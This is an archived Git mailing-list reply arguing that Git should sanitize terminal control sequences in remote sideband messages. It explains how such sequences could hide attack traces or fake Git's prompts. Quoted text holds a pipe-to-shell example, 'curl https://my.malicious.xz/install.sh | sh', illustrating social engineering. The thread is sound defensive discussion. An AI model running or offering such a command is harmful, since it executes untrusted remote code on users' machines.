git/list[1] front-page[2] threads[3] people[4] search[5] about
 

Re: [PATCH 0/3] Sanitize sideband channel messages

From
Johannes Schindelin <johannes.schindelin@gmx.de>
Date
Dec 2, 2025, 14:11 UTC
Message-ID
<f4a0cf5a-fe35-e038-a78e-e87caef03780@gmx.de>
In-Reply-To
<xmqqwmevtfye.fsf@gitster.g>
Hi Junio,
On Wed, 15 Jan 2025, Junio C Hamano wrote:
Show 16 quoted lines
> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
> 
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks.  Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
> 
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.

So you haven't come across `OSC P 1 0 ; ? ST` (see e.g. https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST for this control sequence, as well as others that elicit responses from terminal emulators, from current cursor position to terminal capabilities)? I use this Escape sequence myself in my `tmux` sessions to toggle the colors between bright-on-dark and dark-on-bright.

It is true that many terminal emulators started disabling support for such Escape sequences. But that's not because the terminal emulators' features were buggy. That's because some console programs are buggy, allowing payload originating from outside the user's trust boundary to be passed through to the terminal without proper sanitizing. That's what the entire CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html) is all about.

And yes, it's the console programs that are buggy, not the terminal emulators. It has always been the contract between terminal emulators and software using those terminal emulators' features that the bytes that are sent to the terminal emulator can do amazing stuff via control sequences (that's the terminal emulators' promise) and the responsibility of the software sending those bytes, in turn, is to make sure that it only sends control characters intentionally and does not nilly-willy pass through untrusted data from random outside sources.

That's the reason why even `tar` sanitizes its output, see https://www.gnu.org/software/tar/manual/html_node/quoting-styles.html. Or for that matter, cURL, see https://github.com/curl/curl/pull/1512 where Escape sequences were part of the rationale.

While `mutt` might not sanitize the Escape sequences in the emails it displays, it does something even better: It implements its own terminal emulator that interprets only a very limited set of ANSI Escape sequences. But since it uses ANSI Escape sequences to render the output, so in a very convoluted way it _does_ sanitize Escape sequences.

Basically, all console programs interacting with terminal emulators are careful about sanitizing untrusted payload before sending it to be rendered.

In short, in this context it is clearly Git's responsibility to ensure that control sequences do not originate from some stranger's server on the internet and then are naively passed through to the terminal emulator without the user's blessing. Git uses coloring sequences, after all, so it benefits from the contract with the terminal emulator, and it must uphold its end of the bargain, too.

Git also does an okay job of avoiding those color sequences when its output does not even go to a terminal emulator, or when the `TERM` environment variable indicates that the terminal emulator lacks the prerequisite capabilities. (To do a better job, it would have to query the terminal's capabilities, a job better left to libraries like ncurses).

That check, whether the output is even sent to a terminal emulator or not, is notably something that cannot ever be done by those `pre-receive` hooks that were held up as examples to block this here patch series: They have no way of knowing whether or not their output goes to a terminal, but they send the control sequences anyway. Because YOLO, I guess. In that respect, I think that even you two would agree that those `pre-receive` hooks are broken by design.

> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest.

It is important for attackers to try to hide any traces that might alert their victims that they are being attacked. One fine way to do that is to hide the output that would otherwise scream "You are under attack!" to the user. Writing over such tell-tales, or erasing them altogether, is the perfect tool for the job. As such, they are clearly of particular interest in this context.

Sure, it is conceivable that there might be use cases where it _is_ desirable that certain text is first written and then overwritten by the remote side. But the fact remains that it forcibly keeps open the door to deceive the user into believing that they see something that they do not actually see.

For example, Git goes out of its way to write out sideband messages only with the `remote:` prefix. This is a very clear indicator that these messages do not come from the local Git process, and users are very likely to be extremely suspicious if they are prompted for some interactive input in such a message. Allow the remote server to overwrite that prefix, and you take away that indicator.

Besides, there are correct ways to send colored, or otherwise styled, text to the user from the remote side: The remote side does not have the ability to ask whether the output goes to a terminal, but the local Git process does! The logic of color-coding the `error` and `warning` and friends that was added in bf1a11f0a10 (sideband: highlight keywords in remote sideband output, 2018-08-07) is a perfect example how this should be done: The client side, the one with access to the terminal emulator, decides what is permissible styling, and the remote side crafts its output accordingly. No verbatim pass-through of control sequences, no vulnerability, instant win. Well, not so instant, you first have to get the patch on Git's side accepted, but that's par for the course.

Now, the capacities of modern terminal emulators are a far cry from what they had been in the VT-100 times. As in: They have become drastically more powerful. As illustrated at the beginning of my reply, there exist powerful features to query information about the current terminal. Not all of them are exploitable for malicious purposes on first sight. The crucial part is: on first sight.

Also, it is relatively easy if you fail to protect your terminal emulator to have your entire session messed up to a point where not even a `reset` restores it. And corrupting the terminal session is still much better than getting pranked by having all of Git's output be overwritten with a picture of a snake (download the raw version of https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after! verifying that it is just a regular text file containing only a few harmless escape sequences~ -- and then `cat` it to your terminal). That could have been goatse, too, though. Or for that matter (as https://github.com/mpv-player/mpv demonstrates, which allows you to render entire Youtube videos in your current terminal window) you could be Rick-rolled. And all of those are still pranks more than anything. Much worse can be done with those terminal emulator capabilities.

Show 10 quoted lines
> If the malicious remote end says something like
> 
>     To proceed, open another window and type this command:
> 
> 	$ curl https://my.malicious.xz/install.sh | sh
> 
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?

Sure, and there is no defending against users who voluntarily follow such instructions without applying some healthy skepticism first. Not in Git, anyways.

The kind of control illustrated above, however, can of course also be used to pretend that _Git_ asks interactively for some input, using the exact look&feel of Git's usual interactive prompts. And presented with something like that, I would wager a bet that even you could fall for an elaborate ruse, if I were a betting person. If I were still a student, with too much time on my hands, I'd even try to prank you that way, purely for fun.

For the record, I was almost successfully gas-lit into believing that this here issue is not even a vulnerability, as was claimed by some (but not all) involved in the discussion on the Git security list. Fortunately I am in a wonderful position that I have access to outstanding security researchers, and I asked two of them, independently, to tell me whether or not this is a vulnerability that needs to be fixed. Independently, both agreed that my assessment "High" was too high, and it should have been "Moderate" instead. At the same time, they also both agreed that it is a vulnerability that should be fixed in Git.

I did hear that Google employs some excellent security professionals, too. While I cannot ask them directly, I would be quite curious what they would have to say about this issue. Maybe you could contact one or two?

Ciao, Johannes

Show 32 quoted lines
> 
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
> 
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
> 
> > I realize that you've provided an escape hatch, but as we've seen with
> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
> 
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts).  Having to say "I
> trust them completely" is something that would make people uneasy.
> 
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
> 
> 
Previous: Junio C HamanoNext: brian m. carlson
Message 13 of 86 in “Sanitize sideband channel messages”
  1. 0/3 Sanitize sideband channel messagesJohannes Schindelin via GitGitGadget, Jan 14, 2025
  2. 1/3 sideband: mask control charactersJohannes Schindelin via GitGitGadget, Jan 14, 2025
  3. Phillip WoodJan 15, 2025
  4. Johannes SchindelinDec 2, 2025
  5. Andreas SchwabJan 15, 2025
  6. Junio C HamanoJan 15, 2025
  7. 2/3 sideband: introduce an "escape hatch" to allow control charactersJohannes Schindelin via GitGitGadget, Jan 14, 2025
  8. 3/3 sideband: do allow ANSI color sequences by defaultJohannes Schindelin via GitGitGadget, Jan 14, 2025
  9. brian m. carlsonJan 14, 2025
  10. Junio C HamanoJan 16, 2025
  11. Ondrej PohorelskyJan 28, 2025
  12. Junio C HamanoJan 31, 2025
  13. Johannes SchindelinDec 2, 2025
  14. brian m. carlsonDec 3, 2025
  15. Johannes SchindelinDec 3, 2025
  16. Phillip WoodJan 15, 2025
  17. Johannes SchindelinDec 2, 2025
  18. 0/4 Sanitize sideband channel messagesJohannes Schindelin via GitGitGadget, Dec 17, 2025
  19. 1/4 sideband: mask control charactersJohannes Schindelin via GitGitGadget, Dec 17, 2025
  20. Patrick SteinhardtJan 9, 2026
  21. Johannes SchindelinJan 16, 2026
  22. 2/4 sideband: introduce an "escape hatch" to allow control charactersJohannes Schindelin via GitGitGadget, Dec 17, 2025
  23. Junio C HamanoDec 18, 2025
  24. Johannes SchindelinDec 18, 2025
  25. Junio C HamanoDec 19, 2025
  26. Johannes SchindelinJan 16, 2026
  27. Patrick SteinhardtJan 9, 2026
  28. 3/4 sideband: do allow ANSI color sequences by defaultJohannes Schindelin via GitGitGadget, Dec 17, 2025
  29. Patrick SteinhardtJan 9, 2026
  30. Johannes SchindelinJan 16, 2026
  31. 4/4 sideband: add options to allow more control sequences to be passed throughJohannes Schindelin via GitGitGadget, Dec 17, 2025
  32. Patrick SteinhardtJan 9, 2026
  33. brian m. carlsonJan 10, 2026
  34. Jeff KingJan 15, 2026
  35. Junio C HamanoJan 15, 2026
  36. Johannes SchindelinJan 15, 2026
  37. Patrick SteinhardtJan 16, 2026
  38. Ondrej PohorelskyJan 16, 2026
  39. Junio C HamanoJan 16, 2026
  40. Johannes SchindelinJan 16, 2026
  41. Junio C HamanoJan 16, 2026
  42. Patrick SteinhardtJan 19, 2026
  43. brian m. carlsonJan 19, 2026
  44. D. Ben KnobleJan 20, 2026
  45. Junio C HamanoJan 20, 2026
  46. Jeff KingJan 20, 2026
  47. Junio C HamanoJan 20, 2026
  48. Patrick SteinhardtJan 21, 2026
  49. Johannes SchindelinJan 22, 2026
  50. Junio C HamanoJan 22, 2026
  51. brian m. carlsonJan 15, 2026
  52. Junio C HamanoFeb 3, 2026
  53. Johannes SchindelinFeb 3, 2026
  54. Junio C HamanoFeb 3, 2026
  55. Junio C HamanoFeb 4, 2026
  56. Johannes SchindelinJan 16, 2026
  57. 0/5 Sanitize sideband channel messagesJohannes Schindelin via GitGitGadget, Jan 16, 2026
  58. 1/5 sideband: mask control charactersJohannes Schindelin via GitGitGadget, Jan 16, 2026
  59. 2/5 sideband: introduce an "escape hatch" to allow control charactersJohannes Schindelin via GitGitGadget, Jan 16, 2026
  60. 3/5 sideband: do allow ANSI color sequences by defaultJohannes Schindelin via GitGitGadget, Jan 16, 2026
  61. 4/5 sideband: add options to allow more control sequences to be passed throughJohannes Schindelin via GitGitGadget, Jan 16, 2026
  62. 5/5 sideband: offer to configure sanitizing on a per-URL basisJohannes Schindelin via GitGitGadget, Jan 16, 2026
  63. Johannes SchindelinJan 16, 2026
  64. 0/6 Sanitize sideband channel messagesJohannes Schindelin via GitGitGadget, Feb 3, 2026
  65. 1/6 sideband: mask control charactersJohannes Schindelin via GitGitGadget, Feb 3, 2026
  66. 2/6 sideband: introduce an "escape hatch" to allow control charactersJohannes Schindelin via GitGitGadget, Feb 3, 2026
  67. 3/6 sideband: do allow ANSI color sequences by defaultJohannes Schindelin via GitGitGadget, Feb 3, 2026
  68. 4/6 sideband: add options to allow more control sequences to be passed throughJohannes Schindelin via GitGitGadget, Feb 3, 2026
  69. 5/6 sideband: offer to configure sanitizing on a per-URL basisJohannes Schindelin via GitGitGadget, Feb 3, 2026
  70. 6/6 sideband: delay sanitizing by default to Git v3.0Johannes Schindelin via GitGitGadget, Feb 3, 2026
  71. Junio C HamanoFeb 4, 2026
  72. Junio C HamanoFeb 5, 2026
  73. Junio C HamanoFeb 13, 2026
  74. 0/3 Sanitizing sideband outputJunio C Hamano, Mar 2, 2026
  75. 1/3 sideband: drop 'default' configurationJunio C Hamano, Mar 2, 2026
  76. 2/3 sideband: delay sanitizing by default to Git v3.0Junio C Hamano, Mar 2, 2026
  77. 3/3 sideband: conditional documentation fixJunio C Hamano, Mar 2, 2026
  78. 0/7 Sanitizing sideband outputJunio C Hamano, Mar 5, 2026
  79. 1/7 sideband: mask control charactersJunio C Hamano, Mar 5, 2026
  80. 2/7 sideband: introduce an "escape hatch" to allow control charactersJunio C Hamano, Mar 5, 2026
  81. 3/7 sideband: do allow ANSI color sequences by defaultJunio C Hamano, Mar 5, 2026
  82. 4/7 sideband: add options to allow more control sequences to be passed throughJunio C Hamano, Mar 5, 2026
  83. 5/7 sideband: offer to configure sanitizing on a per-URL basisJunio C Hamano, Mar 5, 2026
  84. 6/7 sideband: drop 'default' configurationJunio C Hamano, Mar 5, 2026
  85. 7/7 sideband: delay sanitizing by default to Git v3.0Junio C Hamano, Mar 5, 2026
  86. Shipping 2.55 with stricter "neuter sideband" topicJunio C Hamano, Jun 11, 2026

Read the whole thread, see it on lore, or plain text.

$ cat FOOTERMessages come from the public archive at lore.kernel.org/git, fetched every hour. The front page is chosen and written each morning by an AI editor and can be wrong; the threads themselves are the record. About and API. For agents: an MCP server at https://gitlist.dev/mcp, and any thread, story or person page as Markdown by adding .md to its URL (or sending Accept: text/markdown). Details in /llms.txt.